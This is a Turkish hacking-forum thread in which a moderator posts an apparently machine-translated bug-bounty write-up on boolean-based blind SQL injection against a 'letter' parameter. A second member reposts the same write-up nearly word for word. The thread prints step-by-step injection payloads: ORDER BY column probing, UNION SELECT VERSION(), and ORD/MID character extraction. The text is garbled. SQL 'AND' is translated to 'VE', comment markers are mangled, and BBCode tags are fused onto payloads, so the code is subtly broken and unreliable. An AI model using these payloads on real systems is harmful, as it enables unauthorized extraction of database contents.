Hata Bounty'de 5 Dakikada Birden Çok SQL Enjeksiyonunu Nasıl Buldum?

Extazİ

Moderatör
20 Haz 2021
2,654
1,581
Front-End-Teşkilat-ı Mahsusa
o37e0rf.png


Herkese merhaba, SQL Enjeksiyonu web uygulamalarında bulunabilecek en kritik güvenlik açıklarından biridir Bugün size avlanırken birden fazla SQL Enjeksiyon güvenlik açığını nasıl bulduğumu göstereceğim, bu yüzden hedefimize target.com

1*QQd3cFtV3OviFY6Yy3pNxQ.jpeg


HTML koduna hızlı bir göz atarken

1*NAT_yhP9MkyxuQWcUTF1Ng.png


2 gizli parametre
olduğunu buldum, bu yüzden tek bir tırnak ekleyerek harf parametresini test etmeye başladım.

1*rWQvBlP56TkS_dMZC5jO5g.png


Yanıt kodu 200 OK aldım, bu da bazı hata işleme yaptıkları anlamına geliyor

ancak yanıt Sorgu başarısız oldu, bir veritabanı arka uçtaki sorgumuzu işledi gibi görünüyor

Öyleyse burada kaç sütun olduğunu bilmeye çalışalım
Kod:
?letter=a' ORDER BY 2 — V

1*hN-Xqe7w3wjiP6ZowSStxw.png


Query'nin başarısız olduğunu gördüm
Kod:
?letter=a' ORDER BY 1 — V

1*5_yh5V2-p0bov33Yhd1KXg.png


Yürütüldü ve "Sorgu Başarısız Oldu:" mesajını almadı.

Öyleyse sürümü çıkarmaya çalışalım

Kod:
?letter=a' UNION SELECT VERSION() — -

1*Uej3GqrOp2NO03kuoQNPHg.png


Sorgu yürütüldü ancak yanıttaki sürümü almadı

Bu yüzden Kör SQL Enjeksiyon tekniklerini kullanarak veri sızdırmaya başladım
Kod:
?letter=a' VE 'omar'='omar
1*s6y27bcMxCVeDJF-kAaKuQ.png


?letter=a' VE 'omar'='not-omar

1*xKkVsb9g3kAYOUWPB55wTQ.png


Burada boole tabanlı SQLI var

Önceki iki koşuldan, şunu fark ettik:

Koşulumuz doğruysa, içerik uzunluğu 80 binden büyük olacaktır.

Eğer koşulumuz yanlışsa, içerik-uzunluk 5 bin aralığında olacaktır.

İstismar:

Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))>96 VE 'OMAR'='OMAR[/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER]






MID() işlevi, SUBSTR() ve SUBSTRING() işlevleri gibi çalışır, MID(VERSION(),1,1) ilk dizeyi sürüm işlevinden çıkaracağı gibi kullanarak herhangi bir konumdaki bir dizeden bir alt dizeyi ayıklamak için çalışırlar MID(VERSION(),2,1) sürüm işlevinden ikinci dizeyi çıkarır

ORD() işlevi, bilgisayarınıza yapılan tüm girişleri ondalık değerde göstermek için kullanılır
1*V7irB12si4AVQfDowlAOYw.png


version() öğesindeki ilk dizenin 'a' olduğunu ve bu nedenle bu işlevlerin karışımının çıktısının yukarıdaki tabloya göre ORD(MID(VERSION(),1,1)) 97 olacağını varsayalım.

Akıllı hafif kaba kuvvet yapmak için ağır kaba kuvvet yapmak yerine bu tekniği kullanıyoruz.

Bu yüzden ilk dizenin önceki tabloya göre küçük karakter olup olmadığını kontrol edeceğiz.

Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))>96 VE 'OMAR'='OMAR[/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER]






1*6gAMAl3sNKEdGZpfGnThnQ.png


İçerik uzunluğuna göre, koşul yanlış

Bu yüzden ilk dizenin büyük char olup olmadığını kontrol edeceğiz.

Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))>64 VE 'OMAR'='omar[/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER]






1*FcIwJmAYDhw_ha558JVP9w.png

İçerik uzunluğuna göre, koşul yanlış

Bu yüzden ilk dizenin bir sayı olup olmadığını kontrol edeceğiz

Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))<58 VE 'OMAR'='omar[/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER]
?letter=a' VE ORD(MID(VERSION(),1,1))>47 VE 'OMAR'='omar







1*tPRiyNZOjIAQyzyrc84bxA.png



1*QNgKSoDwHtupT6znrYH-uQ.png


Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))=53 VE 'OMAR'='omar

1*Lj1OKgztw8C6llcVxsXg7w.png


Koşul doğru, İçerik uzunluğuna göre

Şimdi, yukarıdaki ASCII Tablosuna göre 5'e eşit olan sürüm işlevinden ilk dizeyi çıkardık.

Bu teknikle ilgili en havalı şey, bir alt dizeyi çıkarmak için 100 istek yapmak yerine, 10'dan az istekte yapabileceğimizdir.

Her neyse, şimdiye kadar bu eğlenceye sahip olmanın yeterli olduğunu düşünüyorum ve şimdi sqlmap'e geçmeliyiz



Konun orjinal hali.
 
Son düzenleme:

JohnWick51

Uzman üye
20 Mar 2022
1,866
770
28
o37e0rf.png


Herkese merhaba, SQL Enjeksiyonu web uygulamalarında bulunabilecek en kritik güvenlik açıklarından biridir Bugün size avlanırken birden fazla SQL Enjeksiyon güvenlik açığını nasıl bulduğumu göstereceğim, bu yüzden hedefimize target.com

1*QQd3cFtV3OviFY6Yy3pNxQ.jpeg


HTML koduna hızlı bir göz atarken

1*NAT_yhP9MkyxuQWcUTF1Ng.png


2 gizli parametre
olduğunu buldum, bu yüzden tek bir tırnak ekleyerek harf parametresini test etmeye başladım.

1*rWQvBlP56TkS_dMZC5jO5g.png


Yanıt kodu 200 OK aldım, bu da bazı hata işleme yaptıkları anlamına geliyor

ancak yanıt Sorgu başarısız oldu, bir veritabanı arka uçtaki sorgumuzu işledi gibi görünüyor

Öyleyse burada kaç sütun olduğunu bilmeye çalışalım
Kod:
?letter=a' ORDER BY 2 — V

1*hN-Xqe7w3wjiP6ZowSStxw.png


Query'nin başarısız olduğunu gördüm
Kod:
?letter=a' ORDER BY 1 — V

1*5_yh5V2-p0bov33Yhd1KXg.png


Yürütüldü ve "Sorgu Başarısız Oldu:" mesajını almadı.

Öyleyse sürümü çıkarmaya çalışalım

Kod:
?letter=a' UNION SELECT VERSION() — -

1*Uej3GqrOp2NO03kuoQNPHg.png


Sorgu yürütüldü ancak yanıttaki sürümü almadı

Bu yüzden Kör SQL Enjeksiyon tekniklerini kullanarak veri sızdırmaya başladım
Kod:
?letter=a' VE 'omar'='omar
1*s6y27bcMxCVeDJF-kAaKuQ.png


?letter=a' VE 'omar'='not-omar

1*xKkVsb9g3kAYOUWPB55wTQ.png


Burada boole tabanlı SQLI var

Önceki iki koşuldan, şunu fark ettik:

Koşulumuz doğruysa, içerik uzunluğu 80 binden büyük olacaktır.

Eğer koşulumuz yanlışsa, içerik-uzunluk 5 bin aralığında olacaktır.

İstismar:

Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))>96 VE 'OMAR'='OMAR[/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER]





MID() işlevi, SUBSTR() ve SUBSTRING() işlevleri gibi çalışır, MID(VERSION(),1,1) ilk dizeyi sürüm işlevinden çıkaracağı gibi kullanarak herhangi bir konumdaki bir dizeden bir alt dizeyi ayıklamak için çalışırlar MID(VERSION(),2,1) sürüm işlevinden ikinci dizeyi çıkarır

ORD() işlevi, bilgisayarınıza yapılan tüm girişleri ondalık değerde göstermek için kullanılır
1*V7irB12si4AVQfDowlAOYw.png


version() öğesindeki ilk dizenin 'a' olduğunu ve bu nedenle bu işlevlerin karışımının çıktısının yukarıdaki tabloya göre ORD(MID(VERSION(),1,1)) 97 olacağını varsayalım.

Akıllı hafif kaba kuvvet yapmak için ağır kaba kuvvet yapmak yerine bu tekniği kullanıyoruz.

Bu yüzden ilk dizenin önceki tabloya göre küçük karakter olup olmadığını kontrol edeceğiz.

Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))>96 VE 'OMAR'='OMAR[/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER]





1*6gAMAl3sNKEdGZpfGnThnQ.png


İçerik uzunluğuna göre, koşul yanlış

Bu yüzden ilk dizenin büyük char olup olmadığını kontrol edeceğiz.

Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))>64 VE 'OMAR'='omar[/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER]





1*FcIwJmAYDhw_ha558JVP9w.png

İçerik uzunluğuna göre, koşul yanlış

Bu yüzden ilk dizenin bir sayı olup olmadığını kontrol edeceğiz

Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))<58 VE 'OMAR'='omar[/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER]
?letter=a' VE ORD(MID(VERSION(),1,1))>47 VE 'OMAR'='omar






1*tPRiyNZOjIAQyzyrc84bxA.png



1*QNgKSoDwHtupT6znrYH-uQ.png


Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))=53 VE 'OMAR'='omar

1*Lj1OKgztw8C6llcVxsXg7w.png


Koşul doğru, İçerik uzunluğuna göre

Şimdi, yukarıdaki ASCII Tablosuna göre 5'e eşit olan sürüm işlevinden ilk dizeyi çıkardık.

Bu teknikle ilgili en havalı şey, bir alt dizeyi çıkarmak için 100 istek yapmak yerine, 10'dan az istekte yapabileceğimizdir.

Her neyse, şimdiye kadar bu eğlenceye sahip olmanın yeterli olduğunu düşünüyorum ve şimdi sqlmap'e geçmeliyiz.

Arkadaşlar konu uzun oldu sizi sıkmamak için burda konuyu bitiriyorum konu devam ediyor onuda en kısa sürede açacağım.
İyi forumlar dilerim.




👍👍👍
 

Extazİ

Moderatör
20 Haz 2021
2,654
1,581
Front-End-Teşkilat-ı Mahsusa
Ellerine sağlık.
Teşekkür ederim.

Eline sağlık, özgün konu açarak daha da çok gelişirsin, buna dikkat edelim :)
Anladım hocam.Teşekkür ederim.

Ellerinize sağlık hocam, Bu iş çok akıl ve sabır isteyen bir iş
Allah ellerinize dert vermesin
Sağolasın dostum teşekkür ederim.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.